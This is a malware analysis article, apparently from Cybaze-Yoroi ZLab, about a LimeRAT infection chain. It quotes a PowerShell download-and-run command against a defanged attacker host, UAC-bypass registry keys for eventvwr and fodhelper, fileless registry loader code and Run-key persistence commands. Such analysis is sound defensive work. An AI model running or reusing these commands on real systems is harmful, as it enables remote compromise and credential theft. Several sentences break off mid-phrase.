Cybaze-Yoroi ZLab team spotted an interesting infection chain leveraging several techniques able to defeat traditional security defences and spread LimeRAT.
Few days ago, Cybaze-Yoroi ZLab team came across an interesting infection chain leveraging several techniques able to defeat traditional security defences and hiding a powerful inner payload able to seriously threaten its victims.
The whole infection chain was originated by
The origin of the infection chain is a simple LNK file, a technique originally adopted by state sponsored and advanced actors, designed to download and run a powershell file named “rdp.ps1” from a remote location through the command:
- C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWVY’));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString(‘https://hacks4all[.net/rdp.ps1’);g $I
The retrieved Powershell script works as dropper of the whole infection chain.
|Brief Description||Powershell dropper of LimeRAT|
This script firstly retrieves the version of the Windows OS installed on the target machine using the “Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version” command. Then, depending on the returned value, it runs a couple of privilege escalation exploits able to bypass the UAC (User Account Control) feature, a well known security mechanism introduced since Vista to avoid unauthorized system configuration changes. The first one targets the Windows versions lower than 8.1, abusing a design flaw on the EventViewer process to execute a command with higher privileges.
This exploit works quite easily: the malware gains access to the registry key “HKCU:SoftwareClassesmscfileshellopencommand” and inserts here the command to run its own payload, forcing its execution through the “eventvwr.exe” process which, due to a security flaw, executes it with the maximum privileges available.
The second exploit targets Windows 10 operating systems: it leverages a vulnerability inside the FODhelper process. The principle of this exploit is similar to the previous one, but the accessed registry key is “HKCU:SoftwareClassesms-settingsShellOpencommand” and the vulnerable process is “fodhelper.exe”.
Its payload is a parameterized Powershell script having the purpose to install the final payload into the user registry hive, concluding the infection chain.
- “powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command “,
- “‘));wscript ‘”,
- “New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -name ‘FileName’ -value ‘”,
- “‘ -PropertyType String -Force;”,
- ” ##### FINAL PAYLOAD ##### “
- “$_b = (get-itemproperty -path ‘HKCU:\SOFTWARE\Microsoft\’ -name ‘Winkey’).Winkey;$_b=$_b.replace(‘~’,’0′);[byte]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);”
The installed payload actually is a Base64 encoded PE32 file, file-lessly stored within the registry hive to avoid antivirus detection. It is written in C# and requires at least the .NET framework 3.2 to run. Exploring the malware code, we detected multiple evidence indication of the possible belonging malware family: LimeRAT.
LimeRAT is a powerful Remote Administration Tool publicly available to any internet user, it is an open-source project freely available on Github. Comparing its source code to the decompiled sample we were able to confirm there is a high compatibility between the payload and this open-source remote administration tool.
The function reported above closely matches the open-source code. It also codes an interesting feature of the implant, in fact it allows the malware to register itself as “Critical Process” and when the user tries to kill it, a Blue Screen of Death (BSoD) is raised on the victim machine. Besides this peculiar tricks, the malware has a complete set of very powerful and dangerous capabilities, such as:
- USB drive propagation, infecting all files and folders on USB drivers.
- Evasive startup methods (fileless) to avoid AV detection.
- Virtual machines and analysis box awareness to avoid detection.
- Stealer and CryptoStealer module to steal cryptocurrency wallets and saved passwords.
- Keylogger module
- Backdoor and RDP access.
The malware command and control infrastructure abuses the Pastebin service to ensure resilience, in fact the malware dynamically retrieves the real C2 destination address from a pastie over an encrypted HTTPS channel.
Also, the attacker behind this sample leans on the Dynamic DNS service “warzonedns.com”, pointing to the 213.183.58[.10 IP address located in Russia.
Investigating this network destination we figured out the registrar email, “anthony.marshall.1986[@gmail[.com”, is well known: this email appears in another AdWind/JRat malicious campaign dated back in 2017, suggesting this malicious actor is active for a long time.
This sample also uses multiplepersistence mechanisms, making more difficult to an improvised incident responder to get rid of the infection, because the choice to add this redundancy helps to ensure the infection last longer. In detail, it leverages at least three different persistence tricks, copying itself in three different paths:
- C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
- “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command “New-ItemProperty -Path ‘HKCU:SoftwareMicrosoftWindowsCurrentVersionRun’ -name ‘FileName’ -value ‘C:UsersadminAppDataLocalTempfuw.js’ -PropertyType String -Force;”
The analyzed case evidences how open-source projects are often abused by
Technical details, including IoCs and Yara Rules, are available in the analysis published on the Yoroi blog.